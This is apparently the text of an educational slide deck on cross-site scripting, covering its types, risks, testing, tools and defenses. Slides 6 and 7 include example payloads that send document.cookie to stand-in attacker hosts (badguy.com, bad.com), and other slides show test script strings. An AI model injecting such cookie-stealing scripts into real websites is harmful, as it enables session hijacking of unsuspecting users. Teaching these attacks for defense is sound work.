144205230-Cross-Site-Scripting-XSS-ppt.ppt

1. Cross Site Scripting (XSS)
Cross

2. Cross Site Scripting: Outline
Definition
Risks
Cross Site Scripting Types
Testing
Tools
All Together
Defense
References

3. Definition
Cross Site Scripting (XSS) is a type of computer security exploit
where information from one context, where it is not trusted, can
be inserted into another context, where it is
 The trusted website is used to store, transport, or deliver
malicious content to the victim
The target is to trick the client browser to execute malicious
scripting commands
JavaScript, VBScript, ActiveX, HTML, or Flash
 Caused by insufficient input validation.

4. Cross Site Scripting Risks
XSS can :
Steal cookies
• Hijack of user’s session
• Unauthorized access
Modify content of the web page
•Inserting words or images
•Misinform
•Bad reputation
Spy on what you do
Network Mapping
XSS viruses

5. Cross Site Scripting Types
Three known types:
 Reflected (Non-Persistent)
• Link in other website or email
 Stored (Persistent)
• Forum, bulletin board, feedback form
 Local
•PDF Adobe Reader , FLASH player

6. Reflected (Non-Persistent)
Send e-mail with <script> tags embedded in
the link.
Follows link and the script executes
1
2
http://mybank.com/
account.php?variable=”><script>document.lo
cation=’http://www.badguy.com/cgi-bin/
cookie.cgi’”%20+document.cookie</script>
www.badguy.com
Cookie collector
Malicious content dose not get stored in the server
The server bounces the original input to the victim without
modification

7. Stored (Persistent)
Upload malicious scripting commands to
the public forum
Browse
Downlaod
malicious
code
Public forum web site
Attacker
Victim
1
2 3
Great message!
<script>
var img=new Image();
img.src=
"http://www.bad.com/CookieStealer/
Form1.aspx?s= "+document.cookie;
</script>
The server stores the malicious content
The server serves the malicious content in its original
form

8. Local
Send e-mail with a link -
Http://freeebook.com/
haha.pdf#a=javascript:alert(‘Boo’);
Request for http://freeebook.com/haha.pdf
Ignore everything after #
Attacker
Victim
1
2
PDF Viewer gets the full URL from browser
(including the content after # )
PDF Viewer executes the Javascript.
3
The injected script does not traverse to the server
Arising fast as the major threat as the other two types
of XSS are getting fixed

9. Cross Site Scripting Testing
Where to start?
•Search box
•Feedback/Guestbook
•Application forms
•Look for input that can be displayed back by the site
•<script>alert(“Boo”)</script>
•Don’t forget to test with different encoding scheme
“Base64, URL, Unicode”

10. Cross Site Scripting Tools
N-stalker
Acunetix
Paros
Firefox add-ons
Hackbar
XSS ME

11. Cross Site Scripting Defense
Clint side
•Disable JS
•Verify email
•Always update
• Server side
•Input validation (Black listing VS White listing)
•Encode all meta characters send to the client
•keep track of user sessions
•Web application firewall
•Always test